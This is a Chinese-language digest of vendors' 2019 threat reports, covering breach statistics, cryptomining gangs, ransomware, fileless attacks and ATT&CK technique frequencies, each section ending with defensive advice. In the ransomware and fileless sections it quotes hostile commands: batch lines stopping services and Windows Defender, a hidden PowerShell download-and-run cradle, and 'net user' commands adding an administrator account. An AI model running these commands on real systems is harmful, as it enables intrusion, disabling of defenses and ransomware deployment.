近期,国外各大厂商陆续推出了自己的2019年网络安全报告,表达了各自对网络安全的分析与理解。这些报告既对2019年做出了总结,也对2020年的网络安全做出了展望。笔者近期阅读了十几个知名公司和机构的年度报告,将一些要点总结分享给大家。这些报告有些偏重于数据分析,有些偏重于深度调查,有些偏向于趋势判断。笔者更多的是关注新的威胁存在哪里,以及我们应该采取哪些应对措施。
01
数据泄漏分析
从2011年起,Verizon发布的数据泄露报告是每年必看的安全报告之一,从中可以看出每年的一些变化。大部分的情况下还是一致的,外部攻击因素是导致数据泄漏的主要原因,占比在70%左右,内部威胁导致的数据泄漏占比30%,同时也有供应链合作伙伴导致的数据泄露,但占比很低。从目的上来说,经济利益考虑因素占比75%,商业间谍行为的每年占比变动较大,占比在25%左右摆动,其他因素占比较少。
图1 数据泄露中不同攻击因素的占比变化
图2 数据泄露中不同攻击目的的占比变化
从导致数据泄漏的行为可以看出,黑客攻击、恶意软件和社会工程占到了前三位,社会工程有了大幅的增长。从资产角度来看,服务器、开发环境和个人设备的数据泄漏位列前三,个人设备导致的数据泄露大幅增长。社会工程和个人设备很强的关联作用。比例上会有重叠的部分,所以整体比例超过了100%。
图3 数据泄露中的攻击行为(左)和资产类别(右)
恶意软件导致的数据泄漏主要有后门类型、远控类型和监控类型。从安全事件来看(不一定导致数据泄漏),主要行为是邮件附件/直接安装和未知邮件等。
图4 数据泄露中最常用的恶意软件变体(左)和攻击向量(右)
传递方式上以邮件作为主要方式,文件类型主要以Office文档类型和app为主。再结合社会工程的钓鱼行为就能完成一次完整的攻击。这些数据表明了2019年的一些增长的攻击方式,也侧面印证了安全邮件网关SEG这个产品在RSA上数量增多的原因。
图5 恶意软件类型和提交方式
下图是今年的报告中最有创意的一张图。下图数据安全关注的机密性、完整性和可用性CIA三个方面,来表明攻击的路径和步数。比如,从机密性来看,黄色代表误用权限,蓝色代表错误配置,只需一步就破坏了机密性,攻击效率较高。从完整性来看,根据黑客攻击和恶意软件进行攻击成功的步数就会很长,大概需要10几步才能成功。这样就可以知道哪些攻击方式简便有效,更加值得关注。
图6 攻击步骤(按最终攻击属性划分)
也可以通过攻击起始步骤和中间步骤和最后一步来看,基本也能看出来一些内容,不过基本还是黑客行为和恶意软件为主,配置错误和权限误用也是一个很重要的攻击点。
图7 安全事件中第一步、中间步骤和最后一步的攻击手法
从最后对攻击步数的总结中可以看出,路径越短,成功的概率越高;对于防御方来说,攻击路径越短,防御效果反而越差。
图8 在攻击模拟中攻击成功的概率(按攻击链长度划分)
最后是一张高度总结的图,纵坐标是三大类内容:攻击类型、攻击动作和攻击资产,横坐标是安全事件和数据泄漏的情况,并且是按照行业来划分的。其实,我们需要关注的重点是颜色较深的区域,黑客行为和社会工程导致的数据泄漏较多;同时,从资产角度来看,服务器是重中之重。所以说,防止黑客攻击和社会工程是防御中最重要的内容,服务器是数据泄漏中最重要的资产。
图9 攻击泄露总结(左:所有安全事件;右:数据泄露)
02
攻击事件分析
每年,FireEye的报告也有一些攻击事件的数据,比如这个内外部攻击的比例,基本是不相上下的比例。不同的区域略微有所不同,比如亚太地区主要是外部攻击为主,但是在美洲地区内外部攻击差不多。
图10 攻击检测(按来源划分)
图11 区域性攻击检测2018-2019对比(按来源划分)
攻击者驻留时间从2011年到2019年有了很大的提升,攻击检测发现时间中位数从416天缩短到现在的56天,尤其是内部检测,达到了30天,但是外部攻击的发现时间还是在141天。
图12 全球驻留时间中位数(按年份划分)
从下面关于驻留时间的两年对比图可以看出,短时间内发现攻击的比例在提高,在30天内发现的比例从30%增长到40%,这证明安全的防御手段都在提高,整体的安全态势在向好的方向发展。
图13 全球驻留时间分布
从行业角度来看,可以发现2019年攻击的重点行业是娱乐业、金融机构、政府、专业服务业、工业和高科技及运营商行业。
图14 黑客攻击的目标行业
03
挖矿木马分析
挖矿木马也是去年比较流行的恶意软件之一,主要是利用计算资源获取比特币或者其他加密货币,从而获取财富,在NTT的《2019全球威胁情报报告》中有单独的章节进行表述。目前的挖矿木马主要分为三种:专为挖矿而存在的恶意软件、一些经改造可以用于挖矿的恶意软件和基于Web类型的挖矿木马,主要通过客户端的浏览器实现。虽然看起来仅仅是对性能造成危害,但是潜在的造成危害的可能性很高,所以要及早处理。
图15 挖矿木马的分类及影响
从2016年出现了挖矿木马,在2017年底、2018年初和年底,呈现出爆发的态势,刚好跟比特币的价格高点有相当高的重合性。反之,可以得出比特币价值越高,挖矿木马爆发的可能性就越高的结论。
图16 挖矿木马的发展趋势
有三种挖矿木马最为常见,XMRig、CoinHive和CoinMiner。其中,XMRig属于在计算机上安装后进行门罗币挖矿的程序,CoinHive是将一段JavaScript代码内置在网站中,访客访问时进行门罗币挖矿的行为,CoinMiner与XMRig类似。
图17 挖矿木马分类
最顶级的挖矿团伙主要是三个:Rocke、8220 Mining Group和Tor2Mine。Rocke是中国的团伙,使用Struts和Weblogic和Java一些库的漏洞进行渗透,同时利用社会工程学,提供虚假的Chrome和Flash升级包进行安装,同时还可以利用挖矿木马进行勒索软件的投放,看起来这个手法确实很中国范。8220 Mining Group使用的是恶意容器镜像,据说也是中国的团队并且开发了whatMiner。这个组织主要针对于Drupal这种CMS、Struts2和YARN的相关漏洞。Tor2Mine这个组织利用Tor2web这个软件(可以正常浏览访问暗网),隐藏了C2的通道进行挖矿行为,可以执行伪装成jpg图片的shell脚本下载和执行恶意软件。同时也会利用Weblogic和Struts2进行挖矿木马的投放,也会利用PowerShell。
图18. Top 3 挖矿团伙
制造和投放挖矿木马的动机很简单,就是利益。挖矿木马本身无害,所以很多杀毒引擎都不会标记挖矿行为是可疑行为。挖矿行为同时伴随着凭证窃取的行为,从而可以实现更好的横向扩展,扩大整个挖矿木马的感染率。Linux是挖矿木马比较偏爱的平台,当然更优先考虑的是有GPU处理能力的系统。对于检测挖矿木马的方式,以前可以通过监控CPU的使用率实现。现在的挖矿木马智能了,可以控制CPU的消耗,控制在一个阈值内。挖矿木马需要在系统中长期存在才能实现更多利益,所以持久化是必须需要考虑的内容,可以做到持久化的动作都会做,比如修改系统服务、预加载、修改系统命令等等方式。
对于挖矿木马的防御,要做到以下几点:
1. 对于用户、开发者以及应用账号,应该遵循最小权限原则。这样就会让挖矿木马很难有权限进行安装和执行。
2. 严格设置防火墙的入站和出站规则。这样就很难达到相关的位置进行挖矿行为。
3. 限制浏览器的挖矿行为,需要禁用一些浏览器插件。
4. 禁用矿池协议Stratum,这样就会让挖矿木马无法通过这种协议连接矿池,同时也会让挖矿木马无法运转。
5. 隔离网络,可以将挖矿木马感染限制在一定范围内。
04
勒索病毒分析
CrowdStrike的2020全球威胁报告,对于勒索病毒以及相关的恶意软件分析的最为深入,这有赖于全球范围内的agent部署和统一的SaaS平台能力。大猎杀游戏(Gig Game Hunting)作为企业级的勒索行为的代号,是网络犯罪中最猖獗的行为。从下表可以看出最高的几起勒索病毒的收益,勒索赎金从1250万美金到100万美金不等。以下是几种知名的勒索病毒的“战果”,主要是几个家族类型的勒索软件:Ryuk、REvil、DoppelPaymer、Maze和BitPaymer。
在2018年,小蜘蛛组织(Crowdstrike 用蜘蛛来定义网络犯罪组织)开创了威胁软件即服务的模式(Ransomware as a service)这种商业模式,但是分支机构太多,以致GranCrab太著名不得不 “退休”,改换门庭以Revil示人,防止大家注意力过度集中可能导致国际法律的诉讼。
表1 2019年公布的最大金额勒索事件
REvil勒索软件的攻击路径如下:初始手段基本就是利用“密码飞沫”攻击,就是用不同的账号和简单密码进行尝试,与暴力破解类似。对在互联网上的RDP服务和SMB服务进行攻击,一旦尝试成功了登录,就会下载工具并进行脚本执行。在这其中会执行bat脚本主要执行以下操作:
net stop IISADMIN
net stop SQLBrowser
net stop MSExchangeSA
taskkill /f /im mysql*
停止这些服务可以进行打开文件进行加密,如果在运行过程中,可能会被占用而无法加密。同时删除系统备份和系统的安全日志。当然要停止windows自带的安全服务:
net stop WinDefend
实际的勒索软件会写入到“我的文档”中,大概位置如下:
可以看出来是伪装成了windows服务的通用主机进程而躲避检测。如果入侵被阻止了,这个二进制是无法执行的,可以得出结论这个是有远控功能的程序。
再以“达摩”勒索病毒为例,初始的攻击行为也是“密码飞沫”和暴力破解进行RDP服务的攻击进行登录,一旦登录成功就会在Administrator账号下执行一系列恶意脚本,这些脚本自动化改变很多系统配置,以保持远控,同时执行勒索软件并且擦除系统日志。这个名字叫Zzz.bat的脚本主要做了如下一些工作:
1.为本地账号创建新密码
2.查询本地Administrator是否可以远程访问
3.操作账号和相关的用户组设置
4.增加新账号
5.修改文件系统权限,隐藏新增账号
6.修改注册表,实现远程访问,禁用超时时间限制
7.在初始登录页面隐藏新增账号
8.创建system64q.dll文件以及相关工具脚本start.cmd和Loog.bat以及rdpclip.exe(作为NSSM 服务管理器)和payload.exe(“达摩”本体)
9.执行start.cmd脚本,会创建一个新的系统服务,叫做WindowsSystem可以执行勒索软件的payload
10.执行Loog.bat脚本,可以清空系统的事件日志。
如果执行勒索软件payload失败后,还会下载远端的黑客攻击工具进行远程调试,进行debug发现为何无法执行勒索软件。看到这里,笔者发现很多安全产品都没有这个强大的能力,首先可以很快发现产品bug,并且很方便的进行远程debug。
为了防止勒索软件的入侵,应该做到以下几点:
1. 查看现在远程访问策略和访问点,以及日志是否开启并保留。并且对于远程访问进行限制和监控。
2. 使用多因素认证。对于所有远程访问,并且对于外部应用和内部敏感应用,进行风险评估,对于弱密码和非授权访问进行全面排查。
3. 进行常规的漏洞扫描,对于利用可能性比较高的漏洞进行修复。
4. 定义一系列应急响应流程,并组建应急响应团队,进行主机隔离和防火墙变革以及账号权限撤销等操作。
在勒索事件中,如果勒索不成功,比如自己有备份恢复,勒索组织可能会公布数据,又会变成一起数据泄露事件。如果买了网络安全保险,交了赎金,没有金钱的损失,也有面临无法恢复的风险。所以,组织机构要提前加强自己的防范能力。
网络犯罪组织除了勒索之外,其他木马类型的软件以及恶意的下载工具也是形成了行业性的特点。
图19 2019年报道的网络犯罪(按威胁类型划分)
通过下面一张复杂的网状图可以看出,不同的网络犯罪组织都会开发和运营相关的恶意程序,也有分发渠道,其中有竞争也有一些配合的作用,比如某些恶意下载软件帮助分发勒索软件。这个产业链相当大,算是“黑产”的管中窥豹。关于网络犯罪这个话题太大,同时也要参考埃森哲的网络犯罪年度报告,这里就不展开了。
图20 网络犯罪产业链
05
无文件攻击分析
为了防止程序被攻击利用,已经有了很多内存机制上的内容,比如数据执行保护(DEP)、地址空间布局随机化 (ASLR)、控制流完整性(CFI)、以及Anti-ROP相关的技术,会让攻击者很难找到新的二进制级别的漏洞,或者说利用的成本很高。因此,很多黑客会转换思路,利用简单高效的方式,比如钓鱼邮件和社会工程进行攻击,也不需要利用相关漏洞。从CrowdStrike报告中的下图可以看出,这种不依赖恶意文件攻击的方式越来越多,这种malware-free也叫无文件攻击(Fileless Attack)。赛门铁克公司的因特网完全威胁报告的特殊报告中专门讲述了这种攻击技术。
图21 2019年与2018年全球恶意软件与无文件攻击对比
无文件攻击也叫“不落地”Living off the land(LOTL)的攻击方式,就是在攻击的初始入侵阶段是没有文件写入磁盘或者文件系统。这种攻击方式基本是使用系统或者应用的一些机制执行脚本进行入侵的,攻击的过程可能不用使用恶意的文件,这样被安全监测的可能性较低。举个例子,比如利用WMI的机制执行相关恶意Powershell脚本就可以完成攻击,也有可能利用一些运维工具的能力,进行相关的攻击行为,这样就可以很好地躲避检查。无文件攻击分为四种方式:仅内存的威胁、无文件的持久化、工具复用攻击以及非PE文件攻击。先表明一点:无文件攻击并不说是所有过程都不需要文件写入磁盘完成,完全靠内存攻击只是无文件攻击的一种模式。从下图可以看出无文件攻击的攻击链,第一步是入侵:基本是使用RCE漏洞进行攻击,然后在内存中执行shellcode,更常见的是通过钓鱼邮件的附件中隐藏的恶意脚本或者是快捷方式文件格式,可能过程中会有下载和自解密过程,然后利用弱密码或者认证凭证,进行RDP入侵。第二步进行持久化:有一种纯内存的不需要持久化,还有一种利用系统机制实现持久化,比如在注册表中写入Jscript。最后一步是攻击:可以使用系统双用的工具,或者是纯内存的payload或者是Powershell脚本。
图22 常见“不落地”攻击链
1.纯内存的攻击方式
多年前的SQL Slammer就是这种纯内存的攻击方式。近几年的永恒之蓝EternalBlue漏洞的利用方式也是纯内存方式,WannaCry勒索病毒就是利用这个漏洞部署DoublePulsar后门进行勒索。这种纯内存式的攻击方式,因为没有持久化,重启电脑就可以解除感染。同时,也发现攻击者对持久化并不关注,比如Mirai蠕虫病毒入侵IoT设备,可能IoT设备重启就没有了感染,但是核心服务器基本不会经常重启,所以攻击核心服务器是个很好的持久化方式。还可以利用web类型的客户端使用PowerShell下载相关payload进行执行攻击。
2.无文件持久化方式
攻击者的目标是尽量不让防御者发现机器被入侵了,所以会利用一些系统机制来绕过检测。第一种方式就是利用Windows注册表隐藏恶意脚本。
Poweliks木马就是这种类型,把JavaScript脚本藏在注册表中,将注册表中的Run的子键值作为恶意脚本的进入点,这样系统一启动就会加载这个恶意脚本。Poweliks创建了一个注册表Run键值为非ASCII码名字,这样可以防止正常的工具显示它的值并进行混淆。还会修改访问权限,从而让这个值很难被移除。这些内容还以其他的值进行混淆传播。正常的键值调用rundll32如下参数:
Poweliks是这个样子:
可以看出来在分号之后,可以执行任意的JavaScript,这个脚本可以加载其他的注册表键值并进行解密。通常脚本会创建ActiveX对象,这样就可以实现更多功能。第二步就是通过JavaScript释放Powershell脚本;第三步是利用Powershell脚本进行DLL加载,这个存在于注册表的加密字符串中;最后一步就是将这个dll注入到rundll32.EXE中进行感染。
图23 Poweliks无文件攻击步骤
同理,可以将恶意服务写入注册表。攻击者可以使用sc.exe手动添加服务,类似:
另外一种模式就是利用WMI机制。WMI机制提供一系列管理员的能力,可以进行系统设置的查询、停止进程以及本地或者远程执行脚本。可以通过wmic.exe或者PowerShell执行脚本进行交互。WMI的数据存储在%System%\wbem\repository这个位置。攻击者针对特定事件创建筛选器,并针对消费者方法触发恶意脚本执行。有点类似linux系统的crontab机制,不过是事件触发不是时间触发。利用WMI类主要需要三个要素:筛选器、消费者和绑定器。类似上面那种方式将PowerShell脚本存在注册表中,这种方式是把脚本存在WMI仓库中。
图24 利用WMI机制实现无文件攻击
利用组策略GPO也是一种方式,GPO也是后门的载入点。利用PowerShell Empire框架可以创建新的组策略或者修改已存在的策略,也是后门的隐藏地点,GPO主要用于服务器环境。
计划任务中也是一个隐藏点,可以通过命令行进行计划任务的创建,把后门写在其中,比如:
计划任务也可以用于绕过UAC并进行提权。误用系统命令会导致自动提权,比如SilentCleanup,比如下面两个命令就一个进行提权的shell,第一步是设置环境变量,然后执行计划任务:
3.非PE文件攻击
除了上面反复提到的PowerShell和JavaScript,其他的比如Word的宏以及PDF可能包含的脚本也会在打开的时候执行,结合社会工程学很容易得手。可以看出来点击两下图片,就执行了相关宏了。
图25 利用word宏功能实现攻击
Office文档有时候不需要宏也可以执行脚本,比如ppt这种文件,受害者如果把鼠标放在ppt内置的链接上就会执行相关脚本:
相当于执行了以下PowerShell脚本:
powershell -NoP -NonI -W Hidden -Exec Bypass
“IEX (New-Object System.Net.WebClient).
DownloadFile(‘[REMOVED]’,’$env:temp\ii.jse’);
Invoke-Item \“$env:temp\ii.jse\””
4.工具复用攻击
工具复用攻击主要指利用系统自带的工具进行攻击,比如下面两个命令:
net user /add [username] [password]
net localgroup administrators [username] /add
就是利用net命令创建系统管理员账号和密码的行为。
还有一种情况就是利用DLL劫持加载攻击,这个是比较常见的攻击方式。
下表主要是常见工具复用攻击的工具,比如在内部网络探测时候,会用net、systeminfo,whoami等命令,在获取凭证时会用Mimkatz、WCE和pwdump,横向移动会使用rdp、PsExec和PowerShell,数据渗漏使用FTP、RAR等工具,深度后门需要使用Net User、RDP、Telnet等命令。
图26 常见的工具复用攻击的工具
防御无文件攻击的最佳实践如下:
1. 监控工具复用的情况
2. 如果可以,采用应用白名单机制
3. 使用更好的日志记录,包括进程信息
4. 对于收到可疑的邮件,要有绝对的注意
5. 对于office附件弹出是否要启用宏时,要小心谨慎
6. 将安全软件和操作系统更新到最新
7. 使用更高级的账号安全策略,比如二元认证以及登录通知
8. 所有账号都要使用强口令
9. 如果工作结束后,退出登录
10. 只下载官方app商店的应用,不从第三方下载应用
06
ATT&CK框架分析
ATT&CK框架作为业界的主流标准已经被广泛认可,但是框架还是比较庞大的,还是需要关注哪些使用最多的技术。在今年的CrowdStrike报告中,对于ATT&CK框架中的一些TTPs有相关的统计,有一些重点的技术需要关注,例如,伪装、命令行界面、凭证dump、恶意软件、PowerShell等。2019年,伪装这一攻击技术的比例提升最高,主要是因为永恒之蓝的利用造成的。
图27 ATT&CK技术利用情况
从整个框架看来,红色颜色越深表明使用频度越高,这个与上图有个对照作用。其中,窃取有效账号进行攻击的方式使用的也非常频繁。在脚本方面,主要有命令行界面和Powershell,凭证窃取包括凭证转储、有效账号和账号发现,防御绕过方面主要是伪装、隐藏文件和目录、进程注入。
图28 2019年在针对性攻击中观察到的MITRE ATT&CK 战术和技术热图
FireEye的报告中也存在这样一张攻击技术使用频度的图。五大最常见攻击技术:非授权访问(T1086、T1035、T1133),脚本技术(T1064)、混淆文件或信息(T027)。FireEye发现只有40%的技术在使用。下面是按照他们自己的理解把ATT&CK框架做了拆解的热力图。
图29 与攻击生命周期有关的MITRE ATT&CK技术(热图)
Red Canary也在2019年的威胁检测报告中,公布了在过去一年中,在其检测到的15,000个威胁事件中,采用最多的Top 10 攻击技术,其中,进程注入、计划任务、Windows Admin共享、 Powershell占比均在10%以上,这四项技术的总占比超过了50%。
图30 Red Canary Top10 攻击技术
进程注入经常与计划任务(T1053)、远程文件拷贝(T1105)和Windows Admin共享一起使用。要检测到进程注入,需要监测哪些合法进程在进行一些异常的事情。通常,攻击者还会创建计划任务来运行脚本,执行进行或实现持久化,可以通过API监控、文件监控、进程监控、进程命令行参数和Windows事件日志来收集数据进行检测。Windows Admin 共享来部署恶意软件。一些有助于检测这种行为的远控包括使用cmd.exe和共享名称,例如localhost\ADMIN$ or 127.0.0.1\ADMIN$。Powershell是默认安装在每个windows系统中的,具有很高的实用性。在收集到有关PowerShell恶意实例的日志后,就可以开始寻找进程交互和其他工件,从而让安全团队注意异常和潜在的恶意行为。Red Canary的报告中针对每项技术都给出了详细的数据源和检测及缓解方式,这里限于篇幅限制,不再做过多介绍。
07
总结
综上所述,本文精选了一些国外安全厂商近期发布的2019年网络安全报告,着重对数据泄露、攻击事件、挖矿木马、勒索病毒、无文件攻击及ATT&CK框架技术进行了分析,我们可以以此作为情报,确定企业安全项目投资的优先次序,并能够尽早检测并击退攻击者,增强安全防御能力。其他的关于行业的分析以及地区的分析,对于我们中国市场而言意义不大,这里就不再表述。还有一些比较政治敏感的话题,本文也不再赘述。这篇文章由于篇幅原因,网络犯罪的相关内容也没有展开。
参考文献:
[1] Verizon, 2019 Data Breach Investigation Report.
[2]CrowdStrike, 2020 Global Threat Report.
[3] NTTSecurity, Global Threat Intelligence Report.
[4] FireEye& Mandiant, M-trends 2020.
[5]Symantec_,Internet Security Threat Report;_
Special Report Living off the Land and Fileless Attack Techniques.
[6] AccentureSecurity_, 2019 State of Cyber Resilience._
[7]Trend Micro, Trend Micro Security Predictions for 2020.
[8] Cisco_, 20 Cybersecurity Considerations for 2020._
[9] Red Canary_, 2020 Threat Detection Report._